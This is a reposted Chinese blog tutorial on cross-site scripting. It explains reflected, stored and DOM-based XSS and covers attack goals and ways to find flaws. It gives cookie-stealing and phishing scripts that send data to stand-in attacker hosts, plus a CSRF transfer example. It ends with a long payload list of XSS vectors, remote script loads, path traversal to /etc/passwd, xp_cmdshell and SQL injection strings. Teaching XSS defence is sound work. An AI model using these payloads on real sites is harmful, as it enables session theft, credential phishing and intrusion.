XSS跨站总结

    xiaoxiao2021-03-25  135

    原文地址:http://www.2cto.com/article/201501/372352.html

    简介:

    跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    原因:

    有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,XSS攻击就完成了。

    种类:

    反射型XSS

    反射型XSS,又称非持久型XSS。(一般需要自行去触发,输入—输出)

    反射:这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。

    非持久性:这种攻击方式往往具有一次性。

    方式:

    攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

    Eg:

    攻击者将如下链接发送给受害者:

    代码:

    http://www.XXXX.com/search.asp?input=<script>alert(document.cookie);</script>

    当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。

    存储型XSS

    存储型XSS,又称持久型XSS。(一般无意触发,输入–进入数据库*–取出数据库–输出)

    持久性:攻击脚本将被永久地存放在目标服务器的数据库和文件中。

    方式:

    这种攻击多见于论坛或博客,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

    Eg:

    恶意攻击者可以通过发一篇包含了恶意代码的帖子。

    (帖子中包含了恶意代码,<script>window.open(“www.b.com?param=+document.cookie)</script>

    这时甲和乙看到了恶意攻击者的帖子,当在查看帖子时就都中招了,他们的cookie信息都发送到了恶意攻击者的服务器上,攻击成功!

    可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。

    DOM-XSS

    DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞,它涉及的两个层次不是服务器端和浏览器端,而是浏览器端的JavaScript层和HTML层。更准确的说,就是服务器脚本变成了客户端脚本。

    方式:

    用户请求一个经过专门设计的URL,它由攻击者提交,且其中包含嵌入式JavaScript。服务器的响应中并不以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,上述脚本得以处理。

    Eg:

    http://www.xxx.site/welcome.html?name=zhangsan

    使用以下的脚本打印出登录用户zhangsan的名字,即

    代码:

    <SCRIPT> var pos=docmnent.URL.indexOf(“name=”)+5; document.write (document.URL.substring(pos,document.URL.length)); </SCRIPT>

    如果这个脚本用于请求http://www.xxx.site/welcome.html?name=<script>alert(“XSS”)</script>时,就导致XSS攻击的发生。

    当用户点击这个链接,服务器返回包含上面脚本的HTML静态文本,用户浏览器把HTML文本解析成DOM,DOM中的document对象URL属性的值就是当前页而的URL。在脚本被解析时,这个URL属性值的一部分被写入HTML文本,而这部分HTML文本却是JavaScript脚本,这使得<script>alert(“XSS”)</script>成为页面最终显示的HTML文本,从而导致DOM—base XSS攻击发生。

    常用的攻击手段和目的

    窃取Cookie

    盗用 cookie (主要),获取敏感信息,比如盗取各类用户账号、控制企业数据、盗窃企业重要的具有商业价值的资料、非法转账等等。

    代码:

    <script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

    其中location.href是指页面跳转到

    代码:

    http://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

    或者

    代码:

    "><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>

    document.location和location.href基本一样

    通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:

    代码:

    <script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>

    当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站http://www.attackpage.com,打开其中的recou…ookie信息。

    得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。这样,攻击者可以任意地利用受害者的身份访问服务器上的资源和服务,甚至对受害者和服务器上的数据进行破坏。如果受害者拥有管理员权限,攻击者还可以利用其提升自己账号的权限,从而进行进一步的攻击。

    注:Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)

    document.location.href和document.location.replace都可以实现从A页面切换到B页面,但他们的区别是:

    用document.location.href切换后,可以退回到原页面。而用document.location.replace切换后,不可以通过“后退”退回到原页面。

    关于document.location.href或其他可回退的切换方式 document.location 相当于 document.URL 声明了装载文档的URL, 除非发生了服务器重定向, 否则该属性的值与Window.location.href的值是一样的.

    钓鱼

    所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

    代码:

    <script> function hack() { location.replace(“http://www.attackpage.com/record.asp?username=“ +document.forms[0].user.value + “password=” + document.forms[0].pass.value); } </script> <form> <br><br><HR><H3>这个功能需要登录:</H3 > <br><br>请输入用户名:<br> <input type=”text” id=”user”name=”user”> <br>请输入密码:<br> <input type=”password” name =“pass”> <br><input type=”submit”name=”login” value=”登录” onclick=”hack()”> </form><br><br><HR>

    注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。可以看到,和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改,因此隐蔽性很高,而用户的账号失窃往往会带来重大的损失,因此它的危害也是十分巨大的。

    跨站请求伪造

    跨站请求伪造(Cross-SiteRequest Forgery,CSRF),作为OWASP组织的2007年提出十大安全漏洞第五,它也属于XSS攻击的一种衍生。所谓跨站请求伪造,就是攻击者利用XSS注入攻击的方式,注入一段脚本,而当受害者的浏览器运行这段脚本时,脚本伪造受害者发送了一个合法请求。比如我们注入如下的HTML代码:

    代码:

    <img src = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

    假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。

    注入恶意软件

    除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。

    利用XSS注入恶意软件的方式,攻击者可以很方便地在互联网上传播病毒、木马和蠕虫,通过这种途径,攻击者就可以通过这些病毒、木马和蠕虫,进一步地对受害者的主机发动攻击。目前,互联网上的“挂马”现象非常普遍,而XSS注入的出现也无疑给“挂马”的攻击者指明了又一个新的方向。通过传播这些木马,窃取合法用户的敏感信息,不少非法攻击者也逐渐将这一过程产业化,经常可以见到以信封方式批量兜售账号密码的现象。这也给许多正常的网络用户造成了许多无法挽回的巨大损失,造成的危害也很大。

    挖掘方式:

    对于反射型XSS以及一些DOM XSS,一般建议是开发一些自动化的扫描工具进行扫描,并辅以手工分析。 另外一方面,搜索引擎也是快速寻找具有缺陷参数的好办法。 具体可见:白帽子信息_心伤的瘦子

    对于存储型XSS,

    对于单纯的输入->存储->输出点 的情况 (输入与输出点关系:一个地方输入,会有多个地方输出;不同地方输入,同一地方输出。)。常规测试是正向直接输入内容,然后在输出点查看是否未过滤,当然你也可以先大胆假设输出点未过滤,反向寻找在何处进行输入,进而测试。

    对于富文本,则需要对过滤器进行fuzz测试(人脑+自动化)了,可参照:fuzzing XSS filter

    第三类,就是一些WEB应用中所出现的DOM-存储型XSS,即输出点的无害内容,会经过js的一些dom操作变得危险(本质上和 第1点里的dom xss成因是一样的)。这一类的挖掘方法,个人觉得不太好总结。 其一,需要熟悉WEB应用的功能,其二,知道功能所对应的JS代码有哪些,其三,凭直觉猜测程序员会在哪些功能出现可能导致XSS的过滤遗忘或过滤错误(直觉是唬人的,其实就是你知道某些功能会需要某些代码实现,而这些代码常常容易出错),其四,需要有较好的代码阅读跟踪能力(JS一大坨。。还是蛮难读的…. 有些代码被混淆过,十分不易阅读,就会涉及到如何下断点进行调试的小技巧)。 我想,挖掘这一类的前提可能是需要有不错的前端开发经验,写多了,才会有足够的嗅觉。

    检测方法

    代码:

    "><svg><script xlink:href=//********></script> <script>alert(document.cookie)</script> javascript:console.log(0) <script>console.log(1)</script> '><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> <script>alert(\"Vulnerable\")</script>.jsp " ../../../../../../../etc/passwd ../../../../../windows/win.ini /index.html ?.jsp ?.jsp <script>alert('Vulnerable');</script> <script>alert('Vulnerable')</script> ?sql_debug=1 a\.aspx a.jsp/<script>alert('Vulnerable')</script> a/ a?<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> ';exec master..xp_cmdshell 'dir c: > c:\inetpub\wwwroot\?.txt'--&& "> & &SESSION_ID={SESSION_ID}&SESSION_ID= 1 union all select pass,0,0,0,0 from customers where fname= http://www.cnblogs.com/http://ww ... logs.com/etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG src="javascript:alert('XSS');"> <IMG src=javascript:alert('XSS')> <IMG src=JaVaScRiPt:alert('XSS')> <IMG src=JaVaScRiPt:alert("XSS")> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> "<IMG src=java\0script:alert(\"XSS\")>";' > out <IMG src=" javascript:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND src="javascript:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER src="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" href="javascript:alert('XSS');"> <IMG src='vbscript:msgbox("XSS")'> <IMG src="mocha:"> <IMG src="livescript:"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME src=javascript:alert('XSS')></IFRAME> <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE href="javascript:alert('XSS');//"> getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML src="javascript:alert('XSS');"> "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT src=/uploadfile/2015/0126/20150126034957941.jpg"></SCRIPT> <IMG src="javascript:alert('XSS')" <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT> <A href=http://www.gohttp://www.google.com/ogle.com/>link</A> admin'-- ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a
    转载请注明原文地址: https://ju.6miu.com/read-246196.html

    最新回复(0)